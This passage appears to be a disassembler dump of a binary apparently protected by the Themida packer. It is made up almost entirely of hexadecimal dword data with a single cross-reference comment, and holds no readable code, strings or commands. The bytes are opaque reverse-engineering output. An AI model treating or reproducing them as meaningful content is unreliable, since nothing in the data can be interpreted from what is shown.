		dd 21B900D1h, 925F3789h, 74CC7845h, 21CD3B45h, 8EB8D3D9h
		dd 0FE265DFBh, 1AEEE9B6h, 176901BEh, 42209D3Ah,	3890C112h
		dd 93A18Bh, 7E00001Bh, 320F615Eh, 0EDCA1CA1h, 0A784D6E5h
		dd 5C398B2Eh, 0B7F0427Bh, 9528AF01h, 4E6B6643h,	6B91FFCh
		dd 0BCFFD7B4h, 0D0D65E6Ah, 58093FEAh, 129C03FEh, 0C9A6F8C5h
		dd 0C623EF0Dh, 0FBC63C2h, 0F23B2309h, 770F3751h, 51C097DFh
		dd 0A1433260h, 0C8A0B0DFh, 3EA3A3F1h, 1E6B47D7h, 25A06B3h
		dd 0C412ECD3h, 983E4BF7h, 57B3D123h, 4C943CAAh,	0E501FB46h
		dd 0A1C957h, 9391BEACh,	32DE4CF2h, 0A2BDE4EAh, 2B531A87h
		dd 5905737Fh, 5D434911h, 711AA883h, 0E141A49h, 209BBE19h
		dd 876D734Bh, 9B20BCBEh, 0C693DB73h, 9663AB10h,	3E4E7D42h
		dd 68467561h, 75F170F6h, 44C3D1BBh, 3A00001Ah, 0EECB1DA2h
		dd 0A986D8E5h, 63409229h, 18F54772h, 73ACFEBFh,	516C6B45h
		dd 0AAF22FFh, 0C2FDDBB8h, 78439370h, 8C921A26h,	580940A6h
		dd 1758BFBAh, 4F55B640h, 2655BBCFh, 5400BB1Bh, 0EE36DA48h
		dd 0E62585E8h, 196B9357h, 23FAA3FBh, 5DC0EE61h,	0ACB6E521h
		dd 444A923Eh, 5DF9C2F9h, 0A1B3E0C7h, 3802A894h,	32ABFFA0h
		dd 0D6A56929h, 0A76AF968h, 54C17C87h, 620060Ch,	0C3425CCh
		dd 97642C74h, 7CD4803Bh, 0E615A82Fh, 0BF367BA2h, 7AB88F2Bh
		dd 5BF0FB41h, 25FD81B0h, 0E06B391Fh, 8D254D2Bh,	0B11D9E1h
		dd 2BE06B25h, 0D8E21139h, 787EC66Ah, 31D3A583h,	78458DB5h
		dd 4D155D5Eh, 0F4A66147h, 4D7531h, 0A8B8E7D8h, 0EBCE03D0h
		dd 0ADB8E73Fh, 0B4B49229h, 1164B989h, 19651927h, 0C3190000h
		dd 6CDAAFCh, 4A8865B7h,	93421F71h, 0E0F7D426h, 66528BDDh
		dd 0DE308D4Ah, 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h
		dd 99580942h, 0C412379Eh, 0D13F4BF7h, 0CDFE52Dh, 0FA57E519h
		dd 0FB6280D2h, 9CA2FE6Ch, 5805F8B6h, 0C20AA2CAh, 97A4B6EBh
		dd 92C1D823h, 0F6FCC48Ch, 58061F10h, 1EB69CA2h,	0A2CA5806h
		dd 4185B4DCh, 5DF938F6h, 0E5FB9CC4h, 3A31171Dh,	1D455E1Ah
		dd 1176AAEEh, 0D7A4D881h, 828CBBFEh, 1E246C14h,	0B622F7h
		dd 0ADB9658Dh, 0F3D9DF3Fh, 700D702h, 343292Fh, 2F5700D7h
		dd 0B1B7FF97h, 6CA3DBCh, 0B17EC6EEh, 0BFC6D725h, 20CD809Fh
		dd 915E3688h, 3F4A7940h, 2C462497h, 0AD8FC29Bh,	1899B5C3h
		dd 0F7E50000h, 3A9976C8h, 7E543183h, 0C70EEB3Dh, 14C3A0F2h
		dd 9A1E57A9h, 0AAFCC116h, 63B504CDh, 1B6D5286h,	0D123983Eh
		dd 51373DC5h, 65580942h, 0C412036Ah, 0D13F4BF7h, 0A8DFE52Dh
		dd 0DC57E503h, 4280E14h, 553C5806h, 836C95B5h, 5C8B23FCh
		dd 0A068B0D8h, 6AAB49Ah, 71A0C858h, 49D84361h, 23EB33DBh
		dd 933F7C56h, 7DC80C3Bh, 4B5DF9C4h, 522E8223h, 0BCBB5B9Ah
		dd 545AA24Eh, 6150AB2Dh, 0E3EF9BC3h, 0E6421975h, 0B30C83E4h
		dd 1A30169Ch, 1C446171h, 41363C84h, 73676455h, 0A036034Bh
		dd 0CF07EE5Ch, 1016E15Eh, 6785A62Ah, 0E67E163Eh, 9C1FB794h
		dd 2889BEBEh, 37452F2Fh, 17DBh,	348639A3h, 0EF417C57h
		dd 0A9FBC012h, 5EB009CCh, 15675681h, 3D4DCDCh, 468B68BAh
		dd 94442173h, 0DAFCD92Bh, 0FB838FE1h, 9430FF5h,	0C1282358h
		dd 2F8C4A17h, 0F1FC2B83h, 1E2AD6E5h, 0EBB800B0h, 0CC24D0EBh
		dd 1291979Dh, 4857E532h, 58B0CE20h, 49913DABh, 0F92AF843h
		dd 0FD9EC65Dh, 0E14406A9h, 904512D1h, 82F0FA29h, 2342282Eh
		dd 2E56F1E3h, 0AF864E96h, 488E97DDh, 49411C73h,	0C7EE3261h
		dd 5DF7D640h, 0B220ED35h, 6470DA09h, 0CA3E95F6h, 0AD05B10Eh
		dd 2F357D15h, 0FDEA5C3Ah, 34FC446Ch, 204F6A67h,	0A3BC115h
		dd 0EF4FA15h, 22FE0BDAh, 0BCA5A3FAh, 7C59AB43h,	383615Ah
		dd 0FE98A2C4h, 17150614h, 73690000h, 0B61DFA4Ch, 0FAD8B507h
		dd 43926FC1h, 90472476h, 16A2DB2Dh, 2E803D9Ah, 0E7398051h
		dd 9FF1CE0Ah, 55A714C2h, 0D5BBC149h, 0E9580943h, 0C41287EEh
		dd 0D13F4BF7h, 72DFE52Dh, 8457E65Bh, 173D145Ch,	0C8DEA48h
		dd 2BF8FE2Dh, 0A8BE10ABh, 5809C532h, 0BB1673E0h, 62FA52FEh
		dd 37864D1Ah, 0BB1BF808h, 0E8EBB800h, 0A2D129D5h, 9848B692h
		dd 37DD4A50h, 0C7EF5DFEh, 9C21B27Fh, 6B4E8754h,	844F2C3Ch
		dd 0AE858D39h, 0E26527FCh, 0A1317EBDh, 0E7166E1Ah, 0E3C1FADCh
		dd 388CB4ADh, 74707E68h, 0A000016h, 0BE9BEDD2h,	7956A815h
		dd 33106259h, 0E8C517A2h, 437CCEEFh, 219C3B75h,	0DADFF2CFh
		dd 922DAB88h, 48736340h, 5C62EAF6h, 58094476h, 13288F8Ah
		dd 0A8CE3AA5h, 7B235DABh, 28959BE3h, 3A57E65Dh,	0D9FDCA12h
		dd 47B490E2h, 57494F97h, 8358093Eh, 8669AF5Bh, 0D58093Eh
		dd 3A47F3CAh, 0A0F1619Dh, 0C61A5ED0h, 486C822Eh, 0BEE0A70Ah
		dd 0F45E079Ch, 4EA0F8D5h, 0B7000000h, 4248A613h, 51F1E85Ch
		dd 68B04870h, 88BC9A0h,	576870h, 0F625229Dh, 0F2A4B8B2h
		dd 10BCE451h, 6D9D3B08h, 90BF5766h, 0F2A56A4Ch,	37537551h
		dd 0ED30C99Ch, 1335FEh,	0D94C0000h, 51F1E7F6h, 1860107Eh
		dd 0E5081712h, 0CB1D4557h, 3AA51312h, 0FFF18E70h, 0C911A93Eh
		dd 4D333901h, 6151F2A8h, 0A7CDB339h, 0B9E151F2h, 2F7E848Ah
		dd 557E5F1h, 5C2931DDh,	75449177h, 33A3AEDDh, 14A475C9h
		dd 10A8DB38h, 11F5E1BEh, 0F149F5C4h, 37A0AD59h,	6CDDA86h
		dd 4FE7D402h, 803D96A3h
		dd 9EBCA0D4h, 764D651Bh, 2A518290h, 3587B678h, 0C4F7DF15h
		dd 7A419572h, 0AC54C2CEh, 28A35E64h, 6A515DF9h,	0DA107333h
		dd 0E032CA05h, 3CE8D303h, 0EF72F1F6h, 0A415BC35h, 0D0EBEBF8h
		dd 84AAE24h, 0F38FF3A9h, 0CC1E9D39h, 40262CF4h,	54D65173h
		dd 0E4F2FD2Ch, 56232BD7h, 5103F7Ch, 0E83DE9D0h,	0AA11C592h
		dd 0DBE2F1FEh, 80C21443h, 0FF516A6Ch, 5B07B422h, 0F53DE14Fh
		dd 600CAD28h, 0CDD3D908h, 0DC448BEAh, 52BD1BF8h, 658C664Ch
		dd 0BA527ADCh, 0CC1EB60Eh, 28D4E7EFh, 5703B61Bh, 27DD7DE1h
		dd 0E2BA0CAFh, 0CFFEBD15h, 0FDA912C4h, 93DB83F1h, 261F45BCh
		dd 406F6B53h, 1045343Ah, 335BE258h, 0E9D204E1h,	0B75E353Dh
		dd 37958CCFh, 1E7ED35h,	15E279D1h, 987ABEEDh, 0F6D279D0h
		dd 1ABC7012h, 66724FA1h, 37A0AD59h, 4CDDA86h, 0D7FC09B5h
		dd 243AE6h, 22B5A042h, 14F28C8Eh, 2466CA7Ch, 328B4815h
		dd 0DFE0F803h, 0E728B08Dh, 79B9FBE1h, 4FE70FF2h, 0CA3F96A3h
		dd 38E4DBFDh, 0BA745AE0h, 6088F279h, 42A61CC8h,	381AF100h
		dd 60E2F968h, 54848FBEh, 7441196Bh, 242F5E5Fh, 535F0BB4h
		dd 0EBF139E5h, 0F86C6F9Ch, 0AE949A72h, 0C2F88D4Fh, 4956029Ah
		dd 0E7CB7288h, 8A0E6A18h, 983946F2h, 3B5F7521h,	0CBF2E51Fh
		dd 9A2FC71Fh, 36A25AF8h, 7C5A3789h, 5086933Fh, 0E94DBF6Bh
		dd 0C84393A9h, 8DC8DCC2h, 30C8F0F8h, 10C5A0DEh,	2B395852h
		dd 50000000h, 4DF9C612h, 0E32BD341h, 0A9DB441Bh, 39CECEACh
		dd 438B239Ah, 0F206573Dh, 14436B51h, 0E552ADD0h, 0C1133B57h
		dd 1BE3h, 0C6123A00h, 3BDAB1F9h, 2978F82Bh, 939F0938h
		dd 2B317925h, 57E5FE40h, 1BD4264Eh, 2F8C4A17h, 0B0FC2B83h
		dd 913DAB58h, 1F84349h,	9EC657E5h, 39C3A9FDh, 8D55AA56h
		dd 0B919A187h, 5E8DB54Ch, 127BE654h, 9810D3E7h,	0E8B0F890h
		dd 5400BB1Bh, 0C66F3B3Dh, 0B74FE8F3h, 611D4488h, 0DBB352ACh
		dd 0CD41EFD5h, 43DB0352h, 711D8B97h, 7D2E2329h,	386058C0h
		dd 8B323F0h, 0BEFDD9B6h, 0CCB3BAE0h, 77856F3Dh,	131Bh
		dd 0F4467963h, 0AF01BC17h, 69BB00D2h, 1E70498Ch, 0D5279641h
		dd 43941C9Ch, 864B287Ah, 0D404E133h, 1ABC99EBh,	0BB434FA1h
		dd 947CFB5h, 81E8E358h,	0F1E8F3D9h, 6B138151h, 3F7C5623h
		dd 69040A10h, 0D757E51Bh, 3E9A67AFh, 6B20BCCh, 0E7C416AEh
		dd 0BE86CEF1h, 5FAD2B8h, 0C809E658h, 0C02A59F1h, 0BA9823B3h
		dd 3EA834EAh, 0AC5B6953h, 0D2000012h, 8663B50Ah, 411E704Dh
		dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h
		dd 5A657350h, 10AB2B08h, 242AB2BEh, 5809483Eh, 13F05752h
		dd 0ABB1F9A5h, 57E51A10h, 410E567Eh, 0FCD92B92h, 0D19EE6D7h
		dd 0B20AB605h, 0CA0C1983h, 0CACF6A41h, 741154ACh, 6D808EEh
		dd 5CF41C58h, 99B95BB0h, 7F3A9B68h, 2F8E4550h, 0CF4EBFDDh
		dd 19BFF867h, 271F8F38h, 0D370478Fh, 3E83148Dh,	7A95F423h
		dd 72B86459h, 5806DC8Fh, 6078451Dh, 0BCDE305Fh,	20724B88h
		dd 812D9043h, 0F570775h, 0FC7C7B38h, 79D68015h,	5BA2F9E5h
		dd 9623B299h, 0CBFA92EAh, 0A372BFC5h, 1C445DFAh, 0F0CB07D4h
		dd 5D8C2FA3h, 6F4C8A57h, 5A78451Dh, 2E5DB561h, 5C08B323h
		dd 0F63EE250h, 11F826F0h, 82CAF264h, 489A21B5h,	2B069970h
		dd 7DD4EBEDh, 2A72C62Eh, 34893E24h, 0FB2A5264h,	0B720E6F0h
		dd 59266E06h, 0A50F3E7Dh, 3B832B99h, 27B1D635h,	0E4EFCC6Ah
		dd 4B6341D9h, 62C659Dh,	11910E1Ch, 0EFED0000h, 32A17ED0h
		dd 765C398Bh, 0BF16F345h, 0CCBA8FAh, 92265FB1h,	0B204B91Eh
		dd 6BBDFCD5h, 23754A8Eh, 0D92B9046h, 593F45CDh,	6D580949h
		dd 4A170B72h, 0C0043388h, 51F1E7C1h, 1C1A9E75h,	1CA084E7h
		dd 0C9F6E2EDh, 1D29F77h, 89B810BCh, 256D117Fh, 0E69C5D1Fh
		dd 0B9012957h, 689E1AF1h, 1DB69F5Bh, 88B708D0h,	1466557Dh
		dd 0E5B4B15Bh, 0DDAAFF6Dh, 0C018C4FBh, 1432B91h, 13420000h
		dd 17D5FEA8h, 0F1E82E11h, 0FD2C5151h, 5B765E6Bh, 1749720Ah
		dd 768BCB6Eh, 0E7C2A8AEh, 0AED651F1h, 1A497061h, 0FCAA1333h
		dd 13ED94D3h, 17D2FBABh, 332874Ah, 4A17ADA4h, 2F873388h
		dd 0E5E19400h, 433D01EDh, 35000000h, 67379A5Eh,	1C4B65B5h
		dd 0FCAA1335h, 2E1117D3h, 0BA51F1E8h, 2BD7E6EDh, 0F820A4D3h
		dd 0FCE2E8B0h, 1051F1E7h, 17D2B9E8h, 6653824Fh,	0C0125037h
		dd 61758F46h, 0BE56AE5Ah, 6910FD26h, 2611h, 0AA136800h
		dd 4017D3FCh, 0D07A37E9h, 0EB40110Eh, 646C44A1h, 91979DCCh
		dd 51F2AAAEh, 17426BD1h, 0FBC0126Eh, 176910D2h,	942DF340h
		dd 0E3D9CADh, 0ED81D3A2h, 284B01h, 13620000h, 17D2FBABh
		dd 0F1E82E11h, 795F3C51h, 1785AE46h, 2020784Fh,	0BF0B61C1h
		dd 0C112A990h, 6910D3FCh, 5211h, 40176800h, 8610DD77h
		dd 0E5EF1EA8h, 51BA187Dh, 0F21F654Bh, 0B9517951h, 4A17F821h
		dd 2F873388h, 1DC9F6E2h, 8A9096C5h, 51F1E7A7h, 0EAE7B4CAh
		dd 45CB23CFh, 51F1E85Fh, 0DD3ECECh, 17244DE5h, 534894Ah
		dd 0C11256FFh, 4A10D3FCh, 0BA66557Dh, 114C3362h, 0FFFFFEADh
		dd 0F9A51368h, 0A412E9B1h, 79448FAEh, 9C100C22h, 4ABC296Dh
		dd 0F6CE57E7h, 0A2C0AF0h, 5EF61E58h, 2E8D4916h,	0EB9300DCh
		dd 2BB79DA3h, 7249580Ah, 0B8D99E08h, 85093810h,	39C2E89Eh
		dd 6672DA89h, 7D29C159h, 0A213F37h, 0CAF3E058h,	0F6C5111Eh
		dd 0D270D44Ah, 0A4E608CFh, 0B009C895h, 0B4501581h, 410EF8D5h
		dd 21792594h, 0DB902D4h, 532086B5h, 18000000h, 2F8A4Bh
		dd 0E7F7D919h, 5A7C51F1h, 6A370F61h, 84399A6Ch,	3CE880D8h
		dd 8E71B5E4h, 1651F1E7h, 2A9543A8h, 567D4A92h, 735A92A8h
		dd 0AE464F66h, 1B4A7161h, 0B80C0F15h, 7D5A57E5h, 0A3BA6655h
		dd 0E8DEB20Fh, 93E07821h, 92E47C3Fh, 0D0B4h, 0A5130B00h
		dd 0F8ABB1F9h, 0A657E502h, 6F69367Eh, 0B721FE50h, 0E2505C08h
		dd 2A2888Eh, 0D9B65806h, 8E26BEFDh, 27056F46h, 1E399EDCh
		dd 87B605D1h, 72367B81h, 0E0085DFAh, 0E4CAD098h, 0F85E1D52h
		dd 0CE9BA1D0h, 0A038050Ah, 951B731Fh, 5E1D52AFh, 4D539BC3h
		dd 5E1D5367h, 73BB537Bh, 8351A29Ch, 0E9187B88h,	0E3DCFCD9h
		dd 61672F37h, 5E1D6F7Bh, 0B2EBA88Fh, 1123B14Ch,	0D2404A79h
		dd 3E0E62Eh, 0F564115Ah, 1EB885CDh, 686E4B9Dh, 39B79DA3h
		dd 0A3CB6434h, 0F68B2D0Bh, 0F0DA3279h, 0E6EE2h,	0F3CC1000h
		dd 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh, 416F4982h
		dd 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh, 4C7C6268h
		dd 95905809h, 8B4A172Eh, 0E2F4FF2Eh, 0B6202DD9h, 0CFE75905h
		dd 0E81B0107h, 72F51F1h, 30C486D8h, 85C315A6h, 0FEEDEDE0h
		dd 9920B17Eh, 29046Ah, 131B0000h, 0ABB1F9A5h, 57E51884h
		dd 3946F21Ah, 0EFCC1E9Dh, 0BF8CD4E7h, 0A5FDA914h, 92000C76h
		dd 0EDA0A6EEh, 9B5DF913h, 17682173h, 332874Ah, 9AE2DBF8h
		dd 0E7E6CCD2h, 0D2FA51F1h, 406F4E85h, 3D805330h, 0E84E4B91h
		dd 0DFF951F1h, 0E8442A30h, 5D151F1h, 30C8F0B6h,	0DC2F06DEh
		dd 7E1B8583h, 0E7C86B5h, 35141A62h, 0A957E675h,	18724BD2h
		dd 4465F28Ch, 8A85DC65h, 73F72677h, 0D5C3348Ch,	18B03D30h
		dd 0ECCF03D0h, 0B4B1E19Ah, 4AFF6DE5h, 13Eh, 49A81361h
		dd 6E972F8Eh, 0E82E1117h, 0E3BA51F1h, 0EE001421h, 1887B64Ch
		dd 6E1789B2h, 13958BCBh
		dd 17D3FCAAh, 0E863494Fh, 4F7751F1h, 13F09720h,	5F454BABh
		dd 7351F1E8h, 0BE8AB34Bh, 0E5C4B1C7h, 2A5A01EDh, 71000000h
		dd 0D3FCAA13h, 0E82E1117h, 143C51F1h, 126E17EBh, 0E6B3FBC0h
		dd 96D80FEBh, 3D9B6309h, 72A1F9A5h, 1169108Bh, 4Ch, 494F1768h
		dd 51F1E863h, 16204F77h
dword_57F248	dd 0E8B5FDADh, 0D24D0E9h, 54B9A168h, 0D3CD47Ah,	894A1726h
					; DATA XREF: Themida_:0054AF08o
		dd 1308834h, 0E812F5FBh, 0C79E51F1h, 65F7BD1Eh,	6C518633h
		dd 0A1D068C0h, 17A3CC32h, 0FBC0126Eh, 0D81FDCB3h, 5163B1E0h
		dd 69103B22h, 2BD14017h, 0F9A516BCh, 0C9C04AA1h, 0B0C53160h
		dd 6E01EDCFh, 3Bh, 7D948F66h, 0CB63E04Dh, 0AF07B306h, 0B308CA17h
		dd 0AB139D84h, 1117D2FBh, 51F1E82Eh, 17EB143Ch,	874A176Eh
		dd 0FF2E8632h, 96DEDFF4h, 3AF0EC9h, 10957CABh, 2A1169h
		dd 13680000h, 5F454BABh, 7351F1E8h, 178AB34Bh, 0F1E82E11h
		dd 0E6EDBA51h, 0D339A8D7h, 8D4A17AAh, 0FD2C8430h, 0C1124EF7h
		dd 6910D3FCh, 0FFFEB911h, 0A51368FFh, 3EABB1F9h, 5057E65Bh
		dd 0C313E028h, 8BD9B0F8h, 896F75F0h, 9D580977h,	48C1E75h
		dd 0F9D5E514h, 4A30368Ch, 5E5809C3h, 0CD655481h, 1E7ED35h
		dd 155809C3h, 3FB41EDh,	0A45809C3h, 0F2D8DE2Fh,	65809C2h
		dd 8D9A46DEh, 0A613BE4Ah, 8355620Eh, 0E238903Ch, 561D9CBEh
		dd 9722B380h, 5F741668h, 0F8D61306h, 0A48A9058h, 0B85809CAh
		dd 35FE74D1h, 2EC65D6Ah, 1599FFh, 0D9B00000h, 51F1E7F7h
		dd 9D1EB481h, 4873636Eh, 0AC18F6h, 136F0000h, 0ABB1F9A5h
		dd 57E50974h, 0EDBA022Ah, 0A582D4EBh, 0CFFD733h, 60A2006h
		dd 740C3458h, 0B62430DCh, 63BCC20Ah, 0CB5DFA7Dh, 5FD88EF4h
		dd 4978EDE8h, 88559DC5h, 401D6F50h, 12DF2798h, 0F74FFBC0h
		dd 0E4525EC8h, 0AF27F43Ch, 0D1D7DD0Ch, 641195F4h, 803B9764h
		dd 0C94D7CD4h, 2AD6E7ECh, 25F23AD2h, 0DBB80AB1h, 3DCD0BFBh
		dd 227A2695h, 0AE14F28Ah, 0CB3279BAh, 0B35D3E1h, 93490000h
		dd 0D6FDDA2Ch, 1AB895E7h, 63724FA1h, 0B0270456h, 3682BB0Dh
		dd 0E605D7Ah, 0C719A031h, 7FD1EEEAh, 358734A2h,	0B59BA129h
		dd 0C958094Fh, 0C41267CEh, 983E4BF7h, 0D13DB23h, 51F1E827h
		dd 7AE4133Bh, 4EE6A408h, 0BDCB7488h, 99BE91Ch, 755C2971h
		dd 0CA76498Fh, 0D62EDA72h, 0C5997A7h, 0F2FEEDA4h, 2Ch
		dd 0F9A51309h, 0BA1CE9B1h, 9830894Ch, 216594ECh, 57E5110Eh
		dd 9BA8547Ch, 512E803Bh, 7E8A3685h, 12186010h, 5DF912DBh
		dd 5E176991h, 7B784F17h, 2E677CB0h, 0F4DBC147h,	0C7EF51F1h
		dd 77468D98h, 68764D25h, 7D4093E0h, 0F92279D1h,	0DABA4A52h
		dd 0CC915457h, 0C2C10534h, 7651F238h, 0E38F2EA9h, 87515C8Bh
		dd 0D019F038h, 7EF11D1h, 0DEBACAF9h, 0F0CB0B70h, 0C54EC44h
		dd 0E7341C06h, 0B8002857h, 56DA19F0h, 6A5B4A17h, 19A2303Bh
		dd 0B4B10EC7h, 4AFF6DE5h, 16Fh,	4EA81361h, 0F1E86248h
		dd 0B64E7651h, 1440178Dh, 9E0AEDB8h, 5B616796h,	51F23578h
		dd 170C359Bh, 6BC1784Fh, 0BD14A52Ch, 6236Ah, 51F2E61Ah
		dd 3F6E062Eh, 958BCB58h, 0D3FCAA13h, 4A17ED94h,	92787E8Bh
		dd 0A651F1E7h, 3F99E67Eh, 0DF475180h, 571FE72Fh, 0F1E86B51h
		dd 0D1577F51h, 51F1E7EBh, 0C1A8D7FFh, 0C4B1C7BEh, 0BA01EDE5h
		dd 0E806ECF2h, 0F21A54F1h, 575DC3h, 7E550000h, 0B650D3B3h
		dd 31CF6F84h, 0E79BCB16h, 1339204Fh, 0DDB4FCAAh, 5B5CEA85h
		dd 0C5ACDB62h, 0E82E1117h, 143C51F1h, 6C7FF5CCh, 1B60CE72h
		dd 4B1609D7h, 0A0CF675Fh, 176E17B9h, 0FAA7640h,	0C3BC1A5h
		dd 0A2EAD101h, 850DE4CBh, 1847F369h, 11691031h,	28h, 0FCAA1368h
		dd 2E1117D3h, 5151F1E8h, 6E17C2EBh, 0B3FBC012h,	0E7FFE5EBh
		dd 3B1351F1h, 0F1E84F35h, 0A33B6351h, 69108D74h, 0EDE5C4B1h
		dd 3D5A01h, 13710000h, 17D2FBABh, 0F1E82E11h, 0EAEDBA51h
		dd 6F4C86D3h, 0B83C6BC3h, 0B8804890h, 0F1E7CCB2h, 32B8E051h
		dd 51F1E84Ch, 22093860h, 2F8C4A17h, 1251FA00h, 10D3FCC1h
		dd 221169h, 17680000h, 8834894Ah, 8FF70130h, 4A17B6DFh
		dd 0FB01308Dh, 0F1E812F5h, 0A6CF3551h, 0C1126E17h, 6910D3FCh
		dd 39FF4017h, 5D1B4588h, 0FE88222Eh, 1779FFFFh,	0E863494Fh
		dd 4F7751F1h, 48A81620h, 0E7947A80h, 80A851F1h,	0F1E814FAh
		dd 68002851h, 5BAD1A20h, 0E2BF57E6h, 0E931C9F6h, 0AF01BA1Ch
		dd 70B866D3h, 0C1FCDBA8h, 21070D15h, 3558093Dh,	246750Dh
		dd 58093D1Ch, 165C0830h, 58093D1Eh, 31A26F45h, 4F0B5D8Ch
		dd 0D6991154h, 10EDF8h,	0D9040000h, 51F1E7F7h, 0F615A7Ch
		dd 0C231h, 0A5138800h, 44ABB1F9h, 5A57E5EEh, 0EE967C82h
		dd 82AA5805h, 3D5A2EAh,	31A774BCh, 0D4DAE28Eh, 5805EEEEh
		dd 1342DA02h, 5DB22603h, 5EF7157h, 0C55D8558h, 0EF9F0D19h
		dd 6244A1A7h, 0E365DFAh, 0E0DFF9C6h, 9827B18Eh,	1E72E0ECh
		dd 436A5056h, 567E5E1Dh, 1D42EAD0h, 0B421FE5Eh,	8DD56D05h
		dd 11B4AA87h, 2C749C64h, 8E94775Fh, 643494A8h, 0A73D94BCh
		dd 0BE443A92h, 22FA4CE4h, 0B55DD44Bh, 4D7C7F24h, 49279442h
		dd 32798483h, 0C812200Ah, 0B6000007h, 6A479926h, 25025469h
		dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh
		dd 3E815734h, 0F4C70FECh, 80E96A2h, 58095322h, 12D43B36h
		dd 5B4147C4h, 6F51F1E8h, 0F603AF47h, 56B026E0h,	3C94407Dh
		dd 8A0F8A4h, 2B9AE9C0h,	693B4B77h, 13C3D03Ah, 0E3EFFCA8h
		dd 5D09B423h, 4BC16D05h, 9446ABE7h, 12DF1230h, 0C0CBFABFh
		dd 9EFF516h, 1D51F1EEh,	0EE593F45h, 456D51F1h, 0F6CD15ADh
		dd 0A0A95448h, 1114029h, 427B5C29h, 38BEA713h, 3140FEEDh
		dd 57000000h, 0B1F9A513h, 0E51CECABh, 0CE7AA257h, 5FCA688h
		dd 11AC2B58h, 427B5865h, 0E39F4196h, 946137FEh,	0FA4C7B44h
		dd 0DD224358h, 95DCF8D9h, 0F3000000h, 4349A513h, 51F1E85Dh
		dd 78419471h, 44DC74CCh, 0B79E25FCh, 9D715273h,	0BBEA8239h
		dd 0B720EDB5h, 3093D706h, 3E57E5E9h, 0CA7A6066h, 668E5806h
		dd 5703BA19h, 0AEBB67FFh, 0C7F4DE28h, 0E32BC31Bh, 674D531Bh
		dd 7B5806CAh, 0C9E7CD53h, 0D3FB5806h, 1FB794A4h, 76E4F09Ch
		dd 0CA2E141Ah, 1A425806h, 0A5723A82h, 0EFD5DB32h, 35806C9h
		dd 0D01443DBh, 5DFAD069h, 0BBA1A77Fh, 0CF5E1AD0h, 0FFC70FA7h
		dd 4015E728h, 991FDD87h, 5E1A81B3h, 84529FC7h, 3FF80837h
		dd 2F8C4A17h, 0AB58B400h, 4349913Dh, 57E501F8h,	0E7FD9EC6h
		dd 5DBF8410h, 295818C8h, 1C3A4CE5h, 1EC23096h, 4AA9D0D6h
		dd 173F1E70h, 1B0107CFh, 2F1E912Bh, 626ED807h, 0FE044CF4h
		dd 24846609h, 0FECB133Bh, 0F12D24D8h, 0CA27F6FEh, 0D303E032h
		dd 84CC0AE8h, 0EBD57208h, 60EDDh, 536C7000h, 0EAF2401h
		dd 0C8F3DFBCh, 7D3C9976h, 34894E2Bh, 0A10FA9E2h, 58358736h
		dd 11EE4079h, 0C9A6F8C7h, 505CAE0Dh, 54DCC2C8h,	0F5F05809h
		dd 0F7C4128Eh, 27943E4Bh, 0E38BF9D5h, 5B38959Bh, 0D1A857E6h
		dd 0D8903AD1h, 1599C829h, 713941EDh, 99F856Bh, 42719958h
		dd 42209B37h, 3EA4909Eh, 0A81F2D17h, 0D6000005h, 8A67B906h
		dd 45227449h, 0FFDC2E8Dh, 0B491E3D6h, 0F489A23h, 0EDD007A9h
		dd 0A613BE9Bh, 5E617754h, 14A72F0Ch, 282EB6C2h,	58095542h
		dd 17F45B56h, 0E863494Fh, 4F7751F1h, 0E81B0107h, 72F51F1h
		dd 0B060CED8h, 5C096268h, 0A97157E6h, 93CBDA3h,	7AA9D158h
		dd 32181EF6h, 4658093Dh, 0CDDA861Eh, 12D8B605h,	0B73EA4F3h
		dd 539BFCDh, 97450000h,	0DAF9D628h, 1EB491E3h, 676E4B9Dh
		dd 0B4230052h, 3A7EB709h, 0A5C6176h, 0C315A42Dh, 7BCDF2E6h
		dd 3183389Eh, 0B1979D25h, 0C5580955h, 0A51363CAh, 66ABB1F9h
		dd 3857E65Bh, 8F5C6410h, 0A318BE46h, 0D8079FF7h, 0D8B605CDh
		dd 3EA4F41Ch, 0E4C9D7C1h, 9A000004h, 4E2B7D42h,	9E63885h
		dd 0C3A0F2C9h, 7855A712h, 0D30C5E5Fh, 0B10CCBE5h, 6A4F825Fh
		dd 229D3B18h, 0D8E3F3D0h, 0ECF27A86h, 58095606h, 12B81F1Ah
		dd 3E4BF7C4h, 1772398h,	8F47FD9Dh, 0E790767Ch, 7CA451F1h
		dd 0EDBA92E4h, 9DA8D7E6h, 0CED68239h, 0BA1031F7h, 9BF39F1Ch
		dd 40F8E044h, 5EEACD11h, 547851F2h, 0E3D8FE36h,	0E922B491h
		dd 0F25EFDE3h, 9CE91151h, 7FD7833Ch, 4D29FE7h, 54ECD102h
		dd 0B72150A8h, 3D8F2CAAh, 34BF361h, 0EB1D0A2Ch,	3665B2C7h
		dd 0A7972A30h, 0BB8357E5h, 686CFB5h, 0AEFCE358h, 0C2954F3Dh
		dd 0C044730Bh, 52835098h, 1BE1A67h, 64CEFD55h, 6853C1Eh
		dd 65254758h, 0D950F76Eh, 2007F8h, 131E0000h, 0ABB1F9A5h
		dd 57E502E8h, 9CE28EB6h, 580602BAh, 0ECE7A3C5h,	0F8D9D679h
		dd 0E285h, 40179C00h, 0D08CDDFBh, 0B6C1F052h, 86539B20h
		dd 69C16D52h, 0D201BA1Ch, 417C5B68h, 7A6A22F9h,	927912B7h
		dd 0EAECF963h, 6E06B71Ch, 9A21B5C2h, 640D3248h,	0BE1851F2h
		dd 6561474Dh, 987551F2h, 7CD48039h, 22FA4CE4h, 553FB44Bh
		dd 598832E8h, 0EB33884Eh, 0B9371D23h, 234B51F2h, 107E8AF4h
		dd 6F121860h, 0FD57E60Ah, 39A783D5h, 0FE7B25D6h, 66BD3BE5h
		dd 0F5851DACh, 0EB33CBA2h, 0FC3E62E5h, 4088B05Dh, 396FA178h
		dd 3A49FEBAh, 0E6D7000Bh, 9D20B794h, 8FB13FBFh,	0BAC8B238h
		dd 35Bh, 0B406B923h, 6FC1FCD7h,	297B4092h, 0DE30894Ch
		dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h,	5A7C59ABh
		dd 7B030F61h, 9578F75h,	41A8A358h, 0A6F8C512h, 66AE0DC9h
